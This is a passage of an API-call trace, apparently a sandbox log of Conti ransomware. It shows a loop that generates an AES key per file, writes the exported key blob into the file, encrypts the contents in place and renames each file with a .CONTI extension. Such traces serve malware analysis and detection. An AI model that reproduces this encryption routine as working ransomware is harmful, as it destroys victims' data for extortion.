	[0113.146] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.146] GetProcessHeap () returned 0x1720000
	[0113.146] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.146] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0113.147] GetProcessHeap () returned 0x1720000
	[0113.147] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b6750 | out: hHeap=0x1720000) returned 1
	[0113.147] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0113.147] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65b4988 | out: phKey=0x65b4988*=0x17c7ab0) returned 1
	[0113.147] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b498c, pdwDataLen=0x3e3fe8c | out: pbData=0x65b498c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0113.147] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0113.148] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0113.148] GetLastError () returned 0x0
	[0113.148] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=727) returned 1
	[0113.148] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d7
	[0113.148] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.148] SetEndOfFile (hFile=0x418) returned 1
	[0113.148] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.148] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.148] WriteFile (in: hFile=0x418, lpBuffer=0x65b498c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65b498c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0113.155] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.155] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2d7, lpOverlapped=0x0) returned 1
	[0113.155] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d7, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2e0) returned 1
	[0113.155] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.155] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.155] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.155] WriteFile (in: hFile=0x418, lpBuffer=0x65b4980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65b4980*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0113.155] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.156] CloseHandle (hObject=0x418) returned 1
	[0113.156] GetProcessHeap () returned 0x1720000
	[0113.156] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.156] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml"
	[0113.156] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml.CONTI"
	[0113.156] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\562__Connections_Cellular_Orange (Tunisia)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\562__connections_cellular_orange (tunisia)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0113.157] GetProcessHeap () returned 0x1720000
	[0113.157] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.157] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0113.157] GetProcessHeap () returned 0x1720000
	[0113.157] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b7e60 | out: hHeap=0x1720000) returned 1
	[0113.157] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0113.157] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65b5738 | out: phKey=0x65b5738*=0x17c7d30) returned 1
	[0113.157] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b573c, pdwDataLen=0x3e3fe8c | out: pbData=0x65b573c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0113.158] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0113.158] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0113.158] GetLastError () returned 0x0
	[0113.158] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=731) returned 1
	[0113.158] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2db
	[0113.158] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.158] SetEndOfFile (hFile=0x418) returned 1
	[0113.158] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.158] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.158] WriteFile (in: hFile=0x418, lpBuffer=0x65b573c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65b573c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0113.168] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.168] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2db, lpOverlapped=0x0) returned 1
	[0113.168] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2db, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2e0) returned 1
	[0113.168] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.168] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.168] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.168] WriteFile (in: hFile=0x418, lpBuffer=0x65b5730*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65b5730*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0113.168] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.168] CloseHandle (hObject=0x418) returned 1
	[0113.187] GetProcessHeap () returned 0x1720000
	[0113.187] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65438e0
	[0113.187] lstrcpyW (in: lpString1=0x65438e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml"
	[0113.187] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml.CONTI"
	[0113.187] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml.conti")) returned 1
	[0113.188] GetProcessHeap () returned 0x1720000
	[0113.188] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65438e0 | out: hHeap=0x1720000) returned 1
	[0113.188] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0113.188] GetProcessHeap () returned 0x1720000
	[0113.188] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b77f8 | out: hHeap=0x1720000) returned 1
	[0113.188] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0113.188] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65b5980 | out: phKey=0x65b5980*=0x17c7cb0) returned 1
	[0113.188] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b5984, pdwDataLen=0x3e3fe8c | out: pbData=0x65b5984*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0113.189] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.189] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0113.190] GetLastError () returned 0x0
	[0113.190] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=712) returned 1
	[0113.190] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0113.190] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.190] SetEndOfFile (hFile=0x418) returned 1
	[0113.190] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.190] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.190] WriteFile (in: hFile=0x418, lpBuffer=0x65b5984*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65b5984*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0113.192] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.192] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2c8, lpOverlapped=0x0) returned 1
	[0113.192] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2c8, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d0) returned 1
	[0113.192] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.192] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.192] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.192] WriteFile (in: hFile=0x418, lpBuffer=0x65b5978*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65b5978*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0113.192] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.192] CloseHandle (hObject=0x418) returned 1
	[0113.192] GetProcessHeap () returned 0x1720000
	[0113.192] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65438e0
	[0113.192] lstrcpyW (in: lpString1=0x65438e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml"
	[0113.192] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.192] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.193] GetProcessHeap () returned 0x1720000
	[0113.193] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65438e0 | out: hHeap=0x1720000) returned 1
	[0113.193] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0113.193] GetProcessHeap () returned 0x1720000
	[0113.193] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b7fa8 | out: hHeap=0x1720000) returned 1
	[0113.193] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0113.193] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65b4068 | out: phKey=0x65b4068*=0x17c7ab0) returned 1
	[0113.193] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b406c, pdwDataLen=0x3e3fe8c | out: pbData=0x65b406c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0113.194] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.194] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0113.194] GetLastError () returned 0x0
	[0113.194] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=858) returned 1
	[0113.194] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35a
	[0113.195] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.195] SetEndOfFile (hFile=0x418) returned 1
	[0113.195] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.195] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.195] WriteFile (in: hFile=0x418, lpBuffer=0x65b406c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65b406c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0113.196] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.196] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x35a, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x35a, lpOverlapped=0x0) returned 1
